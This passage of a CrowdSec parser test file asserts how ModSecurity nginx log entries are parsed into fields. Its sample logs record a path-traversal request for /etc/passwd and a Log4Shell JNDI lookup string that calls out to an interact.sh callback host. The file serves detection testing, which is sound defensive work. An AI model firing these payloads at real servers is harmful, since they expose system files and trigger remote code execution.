379 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "2021/11/18 08:34:27"
380 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"
381 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag6"] == "WASCTC/WASC-33"
382 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["cid"] == "1083"
383 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["maturity"] == "0"
384 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"76\"] [id \"930120\"] [rev \"\"] [msg \"OS File Access Attempt\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/FILE_INJECTION\"] [tag \"WASCTC/WASC-33\"] [tag \"OWASP_TOP_10/A4\"] [tag \"PCI/6.5.4\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
385 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "modsecurity"
386 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
387 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["rulemessage"] == "OS File Access Attempt"
388 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag7"] == "OWASP_TOP_10/A4"
389 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["ruletag8"] == "PCI/6.5.4"
390 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["target_fqdn"] == "foobar.com"
391 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["tid"] == "86596"
392 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["version"] == "OWASP_CRS/3.2.0"
393 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file"
394 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "modsecurity"
395 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["modsec_message"] == "OS File Access Attempt"
396 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["modsec_ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"
397 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["rule_id"] == "930120"
398 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "82.64.145.141"
399 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z"
400 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
401 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z"
402 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true
403 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["remote_addr"] == "82.64.145.141"
404 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag5"] == "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"
405 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag7"] == "OWASP_TOP_10/A1"
406 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["target_fqdn"] == "foobar.com"
407 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf\"] [line \"488\"] [id \"932160\"] [rev \"\"] [msg \"Remote Command Execution: Unix Shell Code Found\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-shell\"] [tag \"platform-unix\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION\"] [tag \"WASCTC/WASC-31\"] [tag \"OWASP_TOP_10/A1\"] [tag \"PCI/6.5.2\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
408 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "modsecurity"
409 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag4"] == "OWASP_CRS"
410 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["verb"] == "GET"
411 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["accuracy"] == "0"
412 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag1"] == "language-shell"
413 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["version"] == "OWASP_CRS/3.2.0"
414 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ref"] == "o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
415 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["targeturi"] == "/"
416 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time"] == "2021/11/18 08:34:27"
417 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["pid"] == "86596"
418 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"
419 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruleseverity"] == "2"
420 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag0"] == "application-multi"
421 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag6"] == "WASCTC/WASC-31"
422 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag8"] == "PCI/6.5.2"
423 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
424 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruleid"] == "932160"
425 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["targethost"] == "10.0.1.61"
426 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["uniqueid"] == "163722446755.059797"
427 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["cid"] == "1083"
428 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["loglevel"] == "info"
429 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["modsecmessage"] == "Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' )"
430 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag2"] == "platform-unix"
431 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["tid"] == "86596"
432 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruletag3"] == "attack-rce"
433 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["http_version"] == "1.1"
434 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["maturity"] == "0"
435 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["modsecseverity"] == "Warning"
436 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"
437 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["ruleline"] == "488"
438 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["rulemessage"] == "Remote Command Execution: Unix Shell Code Found"
439 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "modsecurity"
440 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["modsec_message"] == "Remote Command Execution: Unix Shell Code Found"
441 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["modsec_ruledata"] == "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"
442 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["rule_id"] == "932160"
443 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "82.64.145.141"
444 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z"
445 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
446 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file"
447 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z"
448 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true
449 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["tid"] == "86596"
450 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["pid"] == "86596"
451 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["request"] == "/?foo=../../../../../../../../etc/passwd"
452 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Score: 20)"
453 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruletag2"] == "platform-multi"
454 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["target_fqdn"] == "foobar.com"
455 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["http_version"] == "1.1"
456 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["modsecseverity"] == "Warning"
457 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "modsecurity"
458 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["verb"] == "GET"
459 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruleline"] == "79"
460 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruletag3"] == "attack-generic"
461 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruleid"] == "949110"
462 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruleseverity"] == "2"
463 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruletag1"] == "language-multi"
464 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["uniqueid"] == "163722446755.059797"
465 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["accuracy"] == "0"
466 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["cid"] == "1083"
467 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["remote_addr"] == "82.64.145.141"
468 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["loglevel"] == "info"
469 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["maturity"] == "0"
470 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["time"] == "2021/11/18 08:34:27"
471 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["modsecmessage"] == "Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' )"
472 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["rulefile"] == "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"
473 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["targethost"] == "10.0.1.61"
474 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["targeturi"] == "/"
475 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"79\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 20)\"] [data \"\"] [severity \"2\"] [ver \"\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\""
476 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["ruletag0"] == "application-multi"
477 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
478 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file"
479 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "modsecurity"
480 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["modsec_message"] == "Inbound Anomaly Score Exceeded (Total Score: 20)"
481 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["rule_id"] == "949110"
482 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "82.64.145.141"
483 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2021-11-18T08:34:27Z"
484 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2021-11-18T08:34:27Z"
485 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true
486 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruleid"] == "949110"
487 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruletag1"] == "language-multi"
488 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["target_fqdn"] == "42.42.42.42"
489 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["version"] == "OWASP_CRS/3.x.x"
490 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "2021/12/26 12:36:51 [error] 972#972: *18722 [client 161.97.102.240] ModSecurity: Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' ) [file \"/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"80\"] [id \"949110\"] [rev \"\"] [msg \"Inbound Anomaly Score Exceeded (Total Score: 370)\"] [data \"\"] [severity \"2\"] [ver \"OWASP_CRS/3.x.x\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-generic\"] [hostname \"192.168.0.1\"] [uri \"/\"] [unique_id \"1640518611\"] [ref \"\"], client: 161.97.102.240, server: 42.42.42.42, request: \"GET /?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a} HTTP/1.1\", host: \"hostname.domain:443\", referrer: \"${jndi:ldap://${hostName}.referer.c72643ci97rd1ek9i7u0c8rf8iejf6fms.interact.sh}\""
491 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["targeturi"] == "/"
492 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["tid"] == "972"
493 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["uniqueid"] == "1640518611"
494 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["loglevel"] == "error"
495 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["remote_addr"] == "161.97.102.240"
496 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["rulefile"] == "/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf"
497 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruleline"] == "80"
498 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruletag0"] == "application-multi"
499 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["time"] == "2021/12/26 12:36:51"
500 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruletag2"] == "platform-multi"
501 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["pid"] == "972"
502 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "modsecurity"
503 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["modsecmessage"] == "Access denied with code 403 (phase 2). Matched \"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' )"
504 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["http_version"] == "1.1"
505 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["maturity"] == "0"
506 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruleseverity"] == "2"
507 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["verb"] == "GET"
508 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["accuracy"] == "0"
509 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["request"] == "/?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a}"
510 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["rulemessage"] == "Inbound Anomaly Score Exceeded (Total Score: 370)"
511 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["ruletag3"] == "attack-generic"
512 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["targethost"] == "192.168.0.1"
513 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["cid"] == "18722"
514 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log"
515 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file"
516 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "modsecurity"
517 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["modsec_message"] == "Inbound Anomaly Score Exceeded (Total Score: 370)"
518 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["rule_id"] == "949110"
519 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "161.97.102.240"
520 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2021-12-26T12:36:51Z"
521 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2021-12-26T12:36:51Z"